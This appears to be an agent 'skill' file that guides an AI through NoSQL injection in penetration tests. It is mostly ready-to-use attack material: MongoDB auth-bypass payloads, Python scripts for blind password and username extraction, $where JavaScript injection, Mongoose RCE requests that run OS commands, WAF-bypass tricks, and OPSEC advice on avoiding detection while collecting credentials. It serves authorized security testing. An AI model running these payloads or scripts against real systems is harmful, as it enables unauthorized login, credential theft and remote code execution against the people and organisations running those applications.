| name | nosql-injection |
| description | Guide NoSQL injection exploitation during authorized penetration testing.
|
| keywords | ["nosql injection","mongodb injection","nosqli","operator injection","$ne injection","$where injection","mongo auth bypass","nosql auth bypass","couchdb injection","mongoose injection","graphql nosql","nosql blind extraction"] |
| tools | ["burpsuite (NoSQLi Scanner extension)","nosqlmap","nosqli"] |
| opsec | medium |
NoSQL Injection
You are helping a penetration tester exploit NoSQL injection vulnerabilities.
The target application passes user-controlled input to NoSQL database queries
(typically MongoDB) without proper sanitization. The goal is to bypass
authentication, extract data, or achieve code execution. All testing is under
explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[nosql-injection] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- An input processed by a NoSQL database (URL param, form field, JSON body,
GraphQL variable, API parameter)
- Common indicators: MongoDB-style error messages (
MongoError,
$operator), JSON-based APIs, Node.js/Express backends, Mongoose ORM
- Burp Suite with NoSQLi Scanner extension (optional)
Step 1: Assess
If not already provided, determine:
- Database — MongoDB (most common), CouchDB, or other
- MongoDB: look for
ObjectId, $operator in errors, Node.js stack
- CouchDB: look for
_rev, _id, Futon/Fauxton admin panels
- Injection format — URL-encoded parameters or JSON body
- URL params with array notation:
param[$ne]=value
- JSON body:
{"param": {"$ne": "value"}}
- Injection point — which parameter accepts operators
- Response behavior — different content for true/false conditions?
Quick Detection Probes
URL-encoded (test each parameter):
param[$ne]=test
param[$gt]=
param[$exists]=true
JSON body:
{"param": {"$ne": "test"}}
{"param": {"$gt": ""}}
{"param": {"$exists": true}}
If the response changes (login succeeds, different content, different status
code), the parameter accepts MongoDB operators.
Step 2: Authentication Bypass
The most common NoSQL injection — bypass login forms by injecting operators
that make the query match any document.
URL-Encoded Bypass
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
username[$gt]=&password[$gt]=
username=admin&password[$ne]=wrong
username[$regex]=^admin&password[$ne]=wrong
JSON Body Bypass
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "wrong"}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
$or Bypass
{"username": "admin", "$or": [{"password": {"$ne": ""}}, {"password": {"$regex": ".*"}}]}
$in Operator — Enumerate Known Users
{"username": {"$in": ["admin", "root", "administrator", "Admin"]}, "password": {"$gt": ""}}
$nin — Exclude Known Users to Find Others
username[$nin][]=admin&password[$gt]=
Step 3: Blind Data Extraction
When operator injection works but data isn't directly reflected, extract
values character by character using $regex.
Determine Field Length
username=admin&password[$regex]=.{1}
username=admin&password[$regex]=.{5}
username=admin&password[$regex]=.{10}
username=admin&password[$regex]=.{8}
Extract Value Character by Character
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^b.*
...
username=admin&password[$regex]=^m.*
username=admin&password[$regex]=^ma.*
username=admin&password[$regex]=^mb.*
...
username=admin&password[$regex]=^md.*
username=admin&password[$regex]=^mdp$
Automated Blind Extraction — JSON POST
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/json"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + string.punctuation
while True:
found = False
for c in charset:
if c in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')']:
c = '\\' + c
payload = '{"username": "%s", "password": {"$regex": "^%s"}}' % (
username, password + c)
r = requests.post(url, data=payload, headers=headers,
allow_redirects=False)
if r.status_code == 302 or 'dashboard' in r.text:
password += c
print(f"[+] Found: {password}")
found = True
break
if not found:
print(f"[*] Extracted password: {password}")
break
Automated Blind Extraction — URL-Encoded POST
import requests
import string
url = "http://TARGET/login"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
username = "admin"
password = ""
charset = string.ascii_letters + string.digits + "_@{}-/()!$%=^[]:"
while True:
found = False
for c in charset:
payload = f"user={username}&pass[$regex]=^{password + c}&login=submit"
r = requests.post(url, data=payload, headers=headers,
allow_redirects=False)
if r.status_code == 302:
password += c
print(f"[+] Found: {password}")
found = True
break
if not found:
print(f"[*] Extracted password: {password}")
break
Enumerate Usernames
Discover unknown usernames by brute-forcing the username field:
import requests
import string
url = "http://TARGET/login"
charset = string.ascii_lowercase + string.digits + "_"
def extract_usernames(prefix=""):
usernames = []
for c in charset:
payload = {"username": {"$regex": f"^{prefix + c}"},
"password": {"$regex": ".*"}}
r = requests.post(url, json=payload, allow_redirects=False)
if r.status_code == 302:
for u in extract_usernames(prefix + c):
usernames.append(u)
if not usernames and prefix:
usernames.append(prefix)
return usernames
for user in extract_usernames():
print(f"[+] Found username: {user}")
Step 4: Server-Side JavaScript ($where)
MongoDB's $where operator accepts JavaScript. If injection reaches a
$where clause, it's equivalent to code execution within the database context.
$where Authentication Bypass
' || 1==1//
' || 1==1%00
admin' || 'a'=='a
$where Data Extraction via Error
If the application reflects database errors:
{"$where": "this.username=='admin' && this.password=='x'; throw new Error(JSON.stringify(this));"}
Leaks the entire document (including password) in the error message.
$where Field Probing
/?search=admin' && this.password%00
# Extract password character by character
/?search=admin' && this.password.match(/^a.*$/)%00
/?search=admin' && this.password.match(/^b.*$/)%00
...
/?search=admin' && this.password.match(/^mdp$/)%00
Time-Based Blind ($where)
When no response difference is visible:
';sleep(5000);'
';sleep(5000);+'
{"$where": "sleep(5000) || true"}
Loop-based delay (works when sleep() is disabled):
';it=new Date();do{pt=new Date();}while(pt-it<5000);'
If a 5-second delay is observed, $where execution is confirmed.
Mongoose RCE (CVE-2024-53900 / CVE-2025-23061)
Mongoose populate().match() forwards $where to Node.js instead of
MongoDB, enabling OS command execution even when MongoDB's server-side JS
is disabled:
GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
GET /posts?author[$or][0][$where]=global.process.mainModule.require('child_process').execSync('id')
Affects Mongoose <= 8.9.4. Fixed in 8.9.5 with sanitizeFilter: true.
Step 5: Advanced Techniques
Cross-Collection Access ($lookup)
If the injection reaches an aggregate() pipeline (not find()/findOne()),
use $lookup to query other collections:
[
{
"$lookup": {
"from": "users",
"as": "leaked",
"pipeline": [
{
"$match": {
"password": {"$regex": "^.*"}
}
}
]
}
}
]
Returns documents from the users collection regardless of which collection
the query originally targeted.
MongoLite Function Execution ($func)
PHP applications using Cockpit CMS (MongoLite library) support $func:
{"user": {"$func": "var_dump"}}
Executes arbitrary PHP functions with the field value as argument.
GraphQL Filter Injection
GraphQL resolvers that forward filter arguments to collection.find():
query {
users(filter: { username: { "$ne": "" } }) {
username
email
}
}
As a GraphQL variable:
{"f": {"$ne": {}}}
If the resolver does collection.find(args.filter) without sanitization,
all documents are returned.
WAF Bypass — Duplicate Key
MongoDB uses the last value for duplicate keys:
{"username": "legitimate", "username": {"$ne": ""}, "password": {"$gt": ""}}
WAF validates the first username (legitimate string), MongoDB uses the
second (operator injection).
Step 6: Escalate or Pivot
STOP and return to the orchestrator with:
- What was achieved (RCE, creds, file read, etc.)
- New credentials, access, or pivot paths discovered
- Context for next steps (platform, access method, working payloads)
OPSEC Notes
- Operator injection (
$ne, $regex) generates standard queries — low
detection risk in application logs
$where payloads execute JavaScript server-side — may be logged by MongoDB
profiler and trigger anomaly detection
- Blind extraction generates many requests (one per character) — use rate
limiting in scripts to avoid detection
sleep() in $where blocks the MongoDB thread — can cause performance
issues on production systems
- Mongoose RCE payloads execute OS commands — visible in process monitoring
Troubleshooting
Operators Not Accepted
- Check Content-Type: JSON body needs
application/json, URL-encoded needs
application/x-www-form-urlencoded
- The app may use
express-mongo-sanitize or strip $ prefixes — try
without $: param[ne]=value (some frameworks add it back)
- Try nested objects:
{"param": {"$ne": ""}} vs flat param[$ne]=
- The backend may use an ORM that validates types — try
$exists which
only needs a boolean
Blind Extraction Fails
- Regex metacharacters must be escaped:
\(, \), \., \*, \+, \?
- Some characters break URL encoding — use JSON body instead
- If
$regex is blocked, try $where with this.field.match()
- Response may not differ on true/false — check status code, response size,
Set-Cookie headers, and redirect location
$where Blocked
- MongoDB 7.0+ disables server-side JavaScript by default (
--noscripting)
- Try operator-only attacks (
$ne, $regex, $gt) which don't need JS
- Check for Mongoose
populate().match() path (CVE-2024-53900) which
executes $where in Node.js, not MongoDB
Automated Tools
python nosqlmap.py -u "http://TARGET/login" --httpmethod POST \
--requestdata "username=test&password=test" --injparam username
nosqli scan -t "http://TARGET/login" -p username,password